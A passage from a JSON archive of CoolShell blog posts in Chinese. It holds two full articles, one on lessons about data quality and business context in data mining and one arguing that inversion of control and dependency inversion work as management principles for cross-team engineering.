src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2039.html\">CPU的性价比</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/93.html\"><img alt=\"版本控制Subversion相关资源\" height=\"150\" src=\"../wp-content/uploads/2009/03/tortoisesvn-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/93.html\">版本控制Subversion相关资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10249.html\">7个示例科普CPU Cache</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-31 数据的游戏：冰与火.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-10305\" height=\"206\" src=\"../wp-content/uploads/2013/07/game-of-thrones-300x206.jpg\" width=\"300\"/>我对数据挖掘和机器学习是新手，从去年7月份在Amazon才开始接触，而且还是因为工作需要被动接触的，以前都没有接触过，做的是需求预测机器学习相关的。后来，到了淘宝后，自己凭兴趣主动地做了几个月的和用户地址相关数据挖掘上的工作，有一些浅薄的心得。下面这篇文章主要是我做为一个新人仅从事数据方面技术不到10个月的一些心得，也许对你有用，也许很傻，不管怎么样，欢迎指教和讨论。</p>\n<p>另外，注明一下，这篇文章的标题模仿了一个美剧《<a href=\"http://movie.douban.com/subject/3016187/\" target=\"_blank\">权力的游戏：冰与火之歌</a>》。在数据的世界里，我们看到了很多很牛，很强大也很有趣的案例。但是，<strong>数据就像一个王座一样，像征着一种权力和征服，但登上去的路途一样令人胆颤</strong>。</p>\n<h4>数据挖掘中的三种角色</h4>\n<p>在Amazon里从事机器学习的工作时，我注意到了Amazon玩数据的三种角色。</p>\n<ul>\n<li><strong>Data Analyzer：数据分析员</strong>。这类人的人主要是分析数据的，从数据中找到一些规则，并且为了数据模型的找不同场景的Training Data。另外，这些人也是把一些脏数据洗干净的的人。</li>\n</ul>\n<ul>\n<li><strong>Research Scientist：研究科学家</strong>。这种角色主要是根据不同的需求来建立数据模型的。他们把自己戏称为不近人间烟火的奇异性物种，就像《生活大爆炸》里的 那个Sheldon一样。这些人基本上玩的是数据上的科学</li>\n</ul>\n<ul>\n<li><strong>Software Developer ：软件开发工程师</strong>。主要是把 Scientist 建立的数据模型给实现出来，交给Data Analyzer去玩。这些人通常更懂的各种机器学习的算法。</li>\n</ul>\n<p>我相信其它公司的做数据挖掘或是机器学习的也就这三种工作，或者说这三种人，对于我来说，</p>\n<p><span id=\"more-10192\"></span></p>\n<ul>\n<li><strong>最有技术含量的是 Scientist</strong>，因为数据建模和抽取最有意义的向量，以及选取不同的方法都是这类人来决定的。这类人，我觉得在国内是找不到的。</li>\n</ul>\n<ul>\n<li><strong>最苦逼，也最累，但也最重要的是Data Analyzer</strong>，他们的活也是这三个角色中最最最重要的（注意：我用了三个最）。因为，无论你的模型你的算法再怎么牛，在一堆烂数据上也只能干出一堆垃圾的活来。正所谓：Garbage In, Garbage Out ！但是这个活是最脏最累的活，也是让人最容易退缩的活。</li>\n</ul>\n<ul>\n<li><strong>最没技术含量的是Software Developer</strong>。现在国内很多玩数据的都以为算法最重要，并且，很多技术人员都在研究机器学习的算法。错了，最重要的是上面两个人，一个是苦逼地洗数据的Data Analyzer，另一个是真正懂得数据建模的Scientist！而像什么<a href=\"https://coolshell.cn/articles/7779.html\" target=\"_blank\" title=\"K-Means 算法\">K-Means</a>，<a href=\"https://coolshell.cn/articles/8052.html\" target=\"_blank\" title=\"K Nearest Neighbor 算法\">K Nearest Neighbor</a>，或是别的什么贝叶斯、回归、决策树、随机森林等这些玩法，都很成熟了，而且又不是人工智能，说白了，这些算法在机器学习和数据挖掘中，似乎就像Quick Sort之类的算法在软件设计中基本没什么技术含量。当然，我不是说算法不重要，我只想说这些算法在整个数据处理中是最不重要的。</li>\n</ul>\n<h4>数据的质量</h4>\n<p><strong>目前所流行的Buzz Word——大数据是相当误导人的。在我眼中，<span style=\"color: #ff0000;\">数据不分大小，只分好坏</span>。</strong></p>\n<p>在处理数据的过程中，我第一个感受最大的就是数据质量。下面我分几个案例来说明：</p>\n<h5>案例一：数据的标准</h5>\n<p>在Amazon里，所有的商品都有一个唯一的ID，叫ASIN——Amazon Single Identify Number，这个ID是用来标识商品的唯一性的（来自于条形码）。也就是说，无论是你把商品描述成什么样，只要ASIN一样，这就是完完全全一模一样的商品。</p>\n<p>这样，就不像淘宝一样，当你搜索一个iPhone，你会出现一堆各种各样的iPhone，有的叫“超值iPhone”，有的叫“苹果iPhone”，有的叫“智能手机iPhone”，有的叫“iPhone 白色/黑色”……，这些同一个商品不同的描述是商家为了吸引用户。但是带来的问题有两点：</p>\n<p style=\"padding-left: 30px;\">1）<strong>用户体验不好</strong>。以商品为中心的业务模型，对于消费者来说，体验明显好于以商家为中心的业务模型。</p>\n<p style=\"padding-left: 30px;\">2）<strong>只要你不能正确读懂（识别）数据，你后面的什么算法，什么模型统统没用</strong>。</p>\n<p>所以，只要你玩数据，你就会发现，<strong>如果数据的标准没有建立起来，干什么都没用。数据标准是数据质量的第一道关卡</strong>，没这个玩意，你就什么也别玩了。所谓数据的标准，为数据做唯一标识只是其中最最基础的一步，数据的标准还单单只是这个，<strong>更重要的是把数据的标准抽象成数学向量，没有数学向量，后面也无法挖掘</strong>。</p>\n<p>所以，你会看到，<strong>洗数据的大量的工作就是在把杂乱无章的数据归并聚合，这就是在建立数据标准。这里面绝对少不了人肉的工作</strong>。无非就是：</p>\n<ul>\n<li><span style=\"line-height: 13px;\">聪明的人在数据产生之前就定义好标准，并在数据产生之时就在干数据清洗的工作。</span></li>\n</ul>\n<ul>\n<li>一般的人是在数据产生并大量堆积之后，才来干这个事。</li>\n</ul>\n<p>另外，说一下Amazon的ASIN，这个事从十多年前就开始了，我在Amazon的内网里看到的资料并没有说为什么搞了个这样一个ID，我倒觉得这并不是因为Amazon因为玩数据发现必需建议个商品ID，也许因为Amazon的业务模型就是设计成以“商品为中心”的。今天，这个ASIN依然有很多很多的问题，ASIN一样不能完全保证商品就是一样的，ASIN不一样也不代表商品不一样，不过90%以上的商品是保证的。Amazon有专门的团队Category Team，里面有很多业务人员天天都在拼命地在对ASIN的数据进行更正。</p>\n<h5>案例二：数据的准确</h5>\n<p>用户地址是我从事过数据分析的另一个事情。我还记得当时看到那数以亿计的用户地址的数据的那种兴奋。但是随后我就兴奋不起来了。因为地址是用户自己填写的，这里面有很多的坑，都不是很容易做的。</p>\n<p>第一个是假/错地址，因为有的商家作弊或是用户做测试。所以地址是错的，</p>\n<ul>\n<li>比如，直接就输入“该地址不存在”，“13243234asdfasdi”之类的。这类的地址是可以被我的程序识别出来的。</li>\n</ul>\n<ul>\n<li>还有很难被我的程序所识别出来的。比如：“宇宙路地球小区”之类的。但这类地址可以被人识别出来。</li>\n</ul>\n<ul>\n<li>还有连人都识别不出来的，比如：“北京市东四环中路23号南航大厦5楼540室”，这个地址根本不存在。</li>\n</ul>\n<p>第二个是真地址，但是因为用户写的不标准，所以很难处理，比如：</p>\n<ul>\n<li><span style=\"line-height: 13px;\">缩写：“建国门外大街” 和 “建外大街”，“中国工商银行”和“工行”……</span></li>\n</ul>\n<ul>\n<li>错别字：“潮阳门”，“通慧河”……</li>\n</ul>\n<ul>\n<li>颠倒：“东四环中路朝阳公园” 和 “朝阳公园 （靠东四环）” ……</li>\n</ul>\n<ul>\n<li>别名：有的人写的是开发商的小区名“东恒国际”，有的则是写行政的地名“八里庄东里”……</li>\n</ul>\n<p>这样的例子多得不能再多了。可见数据如果不准确，会增加你处理的难度。有个比喻非常好，<strong>玩数据的就像是在挖金矿一样，如果含金量高，那么，挖掘的难度就小，也就容易出效果，如果含金量低，那么挖掘的难度就大，效果就差</strong>。</p>\n<p>上面，我给了两个案例，旨在说明——</p>\n<p style=\"padding-left: 30px;\"><strong>1）数据没有大小之分，只有含金量大的数据和垃圾量大的数据之分</strong>。</p>\n<p style=\"padding-left: 30px;\"><strong>2）数据清洗是一件多么重要的工作，这也是一件人肉工作量很大的工作。</strong></p>\n<p><strong></strong>所以，这个工作最好是在数据产生的时候就一点一滴的完成。</p>\n<p>有一个观点：<strong>如果数据准确度在60%的时候，你干出来的事，一定会被用户骂！如果数据准确度在80%左右，那么用户会说，还不错！只有数据准确度到了90%的时候，用户才会觉得真牛B。但是从数据准确度从80%到90%要付出的成本要比60% 到 80%的付出大得多得多</strong>。大多数据的数据挖掘团队都会止步于70%这个地方。因为，再往后，这就是一件相当累的活。</p>\n<h4>数据的业务场景</h4>\n<p>我不知道有多少数据挖掘团队真正意识到了业务场景和数据挖掘的重要关系？<strong>我们需要知道，根本不可能做出能够满足所有业务的数据挖掘和分析模型</strong>。</p>\n<p>推荐音乐视频，和电子商务中的推荐商品的场景完全不一样。电商中，只要你买了一个东西没有退货，那么，有很大的概率我可以相信你是喜欢这个东西的，然后，对于音乐和视频，你完全不能通过用户听了这首歌或是看了这个视频就武断地觉得用户是喜欢这首歌和这个视频的，所以，我们可以看到，推荐算法在不同的业务场景下的实现难度也完全不一样。</p>\n<p>说到推荐算法，你是不是和我一样，有时候会对推荐有一种感觉——<strong>推荐就是一种按不同维度的排序的算法</strong>。我个人以为，就提一下推荐这个东西在某些业务场景下是比较Tricky的，比如，推荐有两种（不是按用户关系和按物品关系这两种），</p>\n<ul>\n<li>一种是共性化推荐，结果就是推荐了流行的东西，这也许是好 的，但这也许会是用户已知的东西，比如，到了北京，我想找个饭馆，你总是给我推荐烤鸭，我想去个地方，你总是给我推荐天安门故宫天坛（因为大多数人来北京就是吃烤鸭，就是去天安门的），这些我不都知道了嘛，还要你来推荐？另外，共性化的东西通常是可以被水军刷的。</li>\n</ul>\n<ul>\n<li>另一种是一种是个性化推荐，这个需要分析用户的个体喜好，好的就是总是给我我喜欢的，不好的就是也许我的口味会随我的年龄和环境所改变，而且，总是推荐符合用户口味的，不能帮用户发掘新鲜点。比如，我喜欢吃辣的，你总是给我推荐川菜和湘菜，时间长了我也会觉得烦的。</li>\n</ul>\n<p><strong>推荐有时并不是民主投票，而是专业用户或资深玩家的建议；推荐有时并不是推荐流行的，而是推荐新鲜而我不知道的</strong>。你可以看到，不同的业务场景，不同的产品形态下的玩法可能完全不一样，</p>\n<p>另外，就算是对于同一个电子商务来说，书、手机 和服装的业务形态完全不一样。我之前在Amazon做Demand Forecasting（用户需求预测）——通过历史数据来预测用户未来的需求。</p>\n<ul>\n<li>对于书、手机、家电这些东西，在Amazon里叫Hard Line的产品，你可以认为是“标品”（但也不一定），预测是比较准的，甚至可以预测到相关的产品属性的需求。</li>\n</ul>\n<ul>\n<li>但是地于服装这样的叫Soft Line的产品，Amazon干了十多年都没有办法预测得很好，因为这类东西受到的干扰因素太多了，比如：用户的对颜色款式的喜好，穿上去合不合身，爱人朋友喜不喜欢…… 这类的东西太容易变了，买得人多了反而会卖不好，所以根本没法预测好，更别Stock/Vender Manager 提出来的“预测某品牌的某种颜色的衣服或鞋子”。</li>\n</ul>\n<p>对于需求的预测，我发现，长期在这个行业中打拼的人的预测是最准的，什么机器学习都是浮云。机器学习只有在你要面对的是成千上万种不同商品和品类的时候才会有意义。</p>\n<p><strong>数据挖掘不是人工智能，而且差得还太远。不要觉得数据挖掘什么事都能干，找到一个合适的业务场景和产品形态，比什么都重要</strong>。</p>\n<h4>数据的分析结果</h4>\n<p>我看到很多的玩大数据的，基本上干的是数据统计的事，从多个不同的维度来统计数据的表现。最简单最常见的统计就是像网站统计这样的事。比如：PV是多少，UV是多少，来路是哪里，浏览器、操作系统、地理、搜索引擎的分布，等等，等等。</p>\n<p>唠叨一句，千万不要以为，你一天有十几个T的日志就是数据了，也不要以为你会用Hadoop/MapReduce分析一下日志，这就是数据挖掘了，说得难听一点，你在做的只不过是一个统计的工作。那几个T的Raw Data，基本上来说没什么意义，只能叫日志，连数据都算不上，只有你统计出来的这些数据才是有点意义的，才能叫数据。</p>\n<p>当一个用户在面对着自己网店的数据的时候，比如：每千人有5个人下单，有65%的访客是男的，18-24岁的人群有30%，等等。甚至你给出了，你打败了40%同类型商家的这样的数据。作为一个商户，面对这些数据时，大多数人的表现是完全不知道自己能干什么？是把网站改得更男性一点，还是让年轻人更喜欢一点？完全不知道所措。</p>\n<p>只要你去看一看，你会发现，好些好些的数据分析出来的结果，看上去似乎不错，但是其实完全不知道下一步该干什么？</p>\n<p>所以，我觉得，<strong>数据分析的结果并不仅仅只是把数据呈现出来，而更应该关注的是通过这些数据后面可以干什么？如果看了数据分析的结果后并不知道可以干什么，那么这个数据分析是失败的。</strong></p>\n<h4>总结</h4>\n<p>综上所述，下面是我觉得数据挖掘或机器学习最重要的东西：</p>\n<p style=\"padding-left: 30px;\">1）<strong>数据的质量</strong>。分为数据的标准和数据的准确。数据中的杂音要尽量地排除掉。为了数据的质量，大量人肉的工作少不了。</p>\n<p style=\"padding-left: 30px;\">2）<strong>数据的业务场景</strong>。我们不可能做所有场景下的来，所以，业务场景和产品形态很重要，我个人感觉业务场景越窄越好。</p>\n<p style=\"padding-left: 30px;\">3）<strong>数据的分析结果</strong>，要让人能看得懂，知道接下来要干什么，而不是为了数据而数据。</p>\n<p>搞数据挖掘的人很多，但成功的案例却不多（相比起大量的尝试来说），就目前而言，<strong>我似乎觉得目前的数据挖掘的技术是一种过渡技术，还在摸索阶段。另外，好些数据挖掘的团队搞得业务不业务，技术不技术的，为其中的技术人员感到惋惜</strong>……</p>\n<p>不好意思，我只给出了问题，没有建议，这也说明数据分析中有很多的机会……</p>\n<p><span style=\"color: #770000; font-size: 12pt;\">最后，还要提的一个是“<span style=\"color: #cc0000;\"><strong>数据中的个人隐私问题</strong></span>”，这似乎就像那些有悖伦理的黑魔法一样，你要成功就得把自己变得黑暗。是的，<strong>数据就像一个王座一样，像征着一种权力和征服，但登上去的路途一样令人胆颤</strong>。</span></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/8052.html\"><img alt=\"K Nearest Neighbor 算法\" height=\"150\" src=\"../wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/8052.html\">K Nearest Neighbor 算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7779.html\"><img alt=\"K-Means 算法\" height=\"150\" src=\"../wp-content/uploads/2012/06/K-Means-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7779.html\">K-Means 算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/5353.html\"><img alt=\"你会做Web上的用户登录功能吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7048.html\"><img alt=\"挑战无处不在\" height=\"150\" src=\"../wp-content/uploads/2012/04/11_154056_1-300x225-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7048.html\">挑战无处不在</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/3589.html\"><img alt=\"食客还是大厨\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/3589.html\">食客还是大厨</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10192.html\">数据的游戏：冰与火</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-5 IoC_DIP其实是一种管理思想.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-9957\" height=\"200\" src=\"../wp-content/uploads/2013/07/inverted-bookshelf_thumb-300x200.jpg\" width=\"300\"/> 关于IoC的的概念提出来已经很多年了，其被用于一种面象对像的设计。我在这里再简单的回顾一下这个概念。我先谈技术，再说管理。</p>\n<p>话说，我们有一个开关要控制一个灯的开和关这两个动作，最常见也是最没有技术含量的实现会是这个样子：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"82\" src=\"../wp-content/uploads/2013/07/IoC1.jpg\" width=\"240\"/></p>\n<p>然后，有一天，我们发现需要对灯泡扩展一下，于是我们做了个抽象类：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"183\" src=\"../wp-content/uploads/2013/07/IoC2.jpg\" width=\"290\"/></p>\n<p>但是，如果有一天，我们发现这个开关可能还要控制别的不单单是灯泡的东西，我们就发现这个开关耦合了灯泡这种类别，非常不利于我们的扩展，于是反转控制出现了。</p>\n<p>就像现实世界一样，造开关的工厂根本不关心要控制的东西是什么，它只做一个开关应该做好的事，就是把电接通，把电断开（不管是手动的，还是声控的，还是光控，还是遥控的），而我们的造各种各样的灯泡（不管是日关灯，白炽灯）的工厂也不关心你用什么样的开关，反正我只管把灯的电源接口给做出来，然后，开关厂和电灯厂依赖于一个标准的通电和断电的接口。于是产生了IoC控制反转，如下图：</p>\n<p><span id=\"more-9949\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"size-full wp-image-9952 aligncenter\" height=\"309\" src=\"../wp-content/uploads/2013/07/IoC3.jpg\" width=\"504\"/></p>\n<p style=\"text-align: left;\"><strong>所谓控制反转的意思是，开关从以前的设备的专用开关，转变到了控制电源的开关，而以前的设备要反过来依赖于开关厂声明的电源连接接口。只要符合开关厂定义的电源连接的接口，这个开关可以控制所有符合这个电源连接接口的设备</strong>。<span style=\"color: #ff0000;\"><strong>也就是说，开关从依赖设备这种情况，变成了，设备反过来依赖于开关所定义的接口</strong></span>。</p>\n<p>只要你看过我的那篇《<a href=\"https://coolshell.cn/articles/8961.html\" target=\"_blank\" title=\"从面向对象的设计模式看软件设计\">面向对象设计其实和面象对象一点关系也没有</a>》，你就知道这样的例子在生活中太多见了。比如说：</p>\n<p style=\"padding-left: 30px;\">1）在交易的过程中，卖家向买家卖东西，一手交钱一手交货，所以，基本上来说卖家和买家必需强耦合（必需见面）。这个时候，银行出来做担保，买家把钱先垫到银行，银行让卖家发货，买家验货后，银行再把钱打给卖家。这就是反转控制。买卖双方把对对方的直接控制，反转到了让对方来依赖一个标准的交易模型的接口。股票交易也是一样的，证交所就是买卖双方的标准交易模型接口。</p>\n<p style=\"padding-left: 30px;\">2）上面这个例子，可能还不明显，再举一个例子。海尔公司作为一个电器制商需要把自己的商品分销到全国各地，但是发现，不同的分销渠道有不同的玩法，于是派出了各种销售代表玩不同的玩法，随着渠道越来越多，发现，每增加一个渠道就要新增一批人和一个新的流程，严重耦合并依赖各渠道商的玩法。实在受不了了，于是制定业务标准，开发分销信息化系统，只有符合这个标准的渠道商才能成为海尔的分销商。让各个渠道商反过来依赖自己标准。反转了控制，倒置了依赖。</p>\n<p><strong>可见，控制反转和依赖倒置不单单的一种设计模式，反而更是一种管理模式。</strong></p>\n<p>在大公司中，有很多很多的团队，这些团队开发的软件有很多依赖，跨团队合作是一件挺麻烦的事情，下面是一些比较真实的示例：</p>\n<p style=\"padding-left: 30px;\">1）一个网页会有很多频道，于是，我们的前端工程师进入到各个页面为各种频道开发他们的页面，随着频道越来越多，前端开发工程师的人数也越来越多，每增加一个频道，就要增加一个为这个频道服务的前端团队，于是，人数越来越多，干成了劳动密集型。为什么不反转控制，倒置依赖呢？前端的同学完全可以开发出各种页面的标准组件，布局，模板，以前与后端交互框架，然后，让后端的同学反过来依赖于前端的标准，使用前端的框架，前端的布局，模板，和组件，以向前端接入后端的模块。</p>\n<p style=\"padding-left: 30px;\">2）一个平台需要接入各种各样的业务系统，这些垂直业务系统都有自己的账号体系，于是这个平台为了要兼这些垂直系统的账号体系以做到权限控制，需要做各个系统和自己系统中的账号映射，并为账号和分配出来的资源设置各垂直系统的标识，还要在自己的代码中要写很多很多的依赖于各种账号体系的代码。其实，一个依赖倒置和反转控制就很简单。开发一个权限体系标准，让接入方的账号系统反过来依赖并控制这个标准的权限系统，从而做出一个干净的系统。</p>\n<p style=\"padding-left: 30px;\">3）还有一个云平台中的管理模式，一些底层服务的开发团队只管开发底层的技术，然后什么也不管了，就交给上层的开发人员，在底层团队的开发出来的产品上面开发各种管理这个底层资源的东西，比如：生产底层资源的业务，底层资源的控制台，底层资源的监控系统。这个让底层团队只干纯技术，不干与底层技术无关的东西，看似很科学，其实是做错了。因为，上层为各个云资源控制生产，开发控制台和监控的团队，随着接入的资源的越来越多，完全干不过来了，苦逼得一塌糊涂，因为底层的资源千差百怪，每接一个就要开发一堆这个产品的代码。这个时候依赖倒置和反转控制又可以解决问题了。很简单，上层为各个云资源控制生产，开发控制台，和监控的团队应该制定一个标准，让底层的IaaS云资源开发团队反过来依赖这个标准，统一接入方式，如果开发的云资源不符我的生产控制模型，没有控制台，不把监控数据喂入我的监控系统，对不起，请不要接入我这个PaaS平台。</p>\n<p style=\"padding-left: 30px;\">4）一个集中式的处理电子商务中的订单的流程。各个垂直业务线都需要通过这个平台来处理自己的交易业务，但是垂直业务线上的个性化需求太多。于是，这个技术平台开始出现了黑魔法——“为了害怕改变数据库表结构，不得不在数据库中预留一些字段，里面存把业务方的个性化字段存成如JSON这样的东西”，并为之自豪认为可以快速解决业务问题（WTF）。然而，恶梦并没就此结束，管理这个技术平台的小组开始发现，对来自各个业务方的需求应接不暇，各种变态需求严重干扰系统，各种技术决定越来越不好做，导致需求排期排不过来。于是，不单单得到了各个业务方的各种抱怨，最可怕的是还有高层老大们压过来的Deadline，加班加点，苦逼之极，最后业务方自己要去一个自己的平台。为什么不用依赖倒置和反转控制的思想呢？开发一个插件模型、工作流引擎和Pub/Sub系统，让业务方的个性化需求可以以插件的方式插入我的订单流程中，业务方自的数据存在自己的库中，业务逻辑也不要侵入我的系统，并可以使用工作流引擎或Pub/Sub的协义标准来自己定义工作流的各个步骤（甚至把工作流引擎的各个步骤的Decider交给各个业务方自行处理）。让各个业务方来依赖于我的标准插件和工作流接口，反转迭控制，让他们来控制我的系统，依赖倒置，让他们来依赖我的标准。（这个团队想过把自己的系统内部开源出去让别的团队也进来参与，可以是可以，但一定要用Linux/Git这种方式，允许出现多个分支，多个发行版。但多个版本又造成了多个业务平台，这会上上层垂直业务不知所措）</p>\n<p style=\"padding-left: 30px;\">5）看过《<a href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的吐槽 - 67,710 人阅读\">SteveY对Amazon和Google平台的吐槽</a>》的人都知道，Amazon内部系统的SOA架构（这个SOA架构离IBM定义的那个非常变态的SOA还有一定距离），但是这基本上都是依赖倒置和控制反转的思路了—— <strong>与其让我来帮你实现你的业务逻辑，不如把我的业务逻辑开放成服务的方式让你来控制</strong>。</p>\n<p style=\"padding-left: 30px;\">6）再说一个我在Amazon经历的例子。有一个项目是在给Amazon的各个商区（Marketplace）做国际出口的业务，我们先把Media类的产品（书，DVD之类的）做国际出口开放，项目不难，就是让商家同意一个法律协议（上传自己的签名），然后后台小改一下。美国的，欧洲的做的都没有问题，物流团队在出口报关单上打的都是Amazon仓库的地址和商家的签名（本来这就是错的，打的应该是商家的地址和商家的签名），但是到了日本，就出了问题，因为日本海关即要日文信息，也要商家的英文名和英文地址，而我们的系统里面只有商家的日文信息。本来，这是一个挺简单的事——数据库里加两个字段，在那个同意条款的网页上收集一下商家的英文名和地址，然后把这些信息传给后面的物流团队。物流团队一看这个，发现搞不了，因为他还要传给仓库，N多的地方都要加这两个字段，还要写下各种if (site == JP)这样的判断。物流团队不蛮干，重新设计自己的系统。做一个Document Template的东西，这个就是那个那个要贴在物流盒子上的单子。再也不让各个业务团队把那些信息传过来，而是把这个Document Template的东西传给上面的业务方，他们想怎么写就怎么写， 写完后，把这个东西传回来。于是，大家依赖了一个标准的协议，而不是一其字段。（当然，这个改动过多，为此改了半年多，不过非常值）</p>\n<p>所以说啊，在跨团队的工作中，</p>\n<ul>\n<li>如果依赖和控制的东西过多了，就需要制定标准，倒置依赖，反转控制。</li>\n</ul>\n<ul>\n<li>控制欲望最好不要太强，不要想着能干所有的事情，要学会控制反转和依赖倒置原则。否则只会引火烧身。</li>\n</ul>\n<ul>\n<li>反转控制和依赖倒置是一种智慧。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8961.html\"><img alt=\"从面向对象的设计模式看软件设计\" height=\"150\" src=\"../wp-content/uploads/2013/01/kiss-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8961.html\">从面向对象的设计模式看软件设计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6950.html\"><img alt=\"需求变化与IoC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9949.html\">IoC/DIP其实是一种管理思想</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-8 Alan Cox：大教堂、市集与市议会.html",
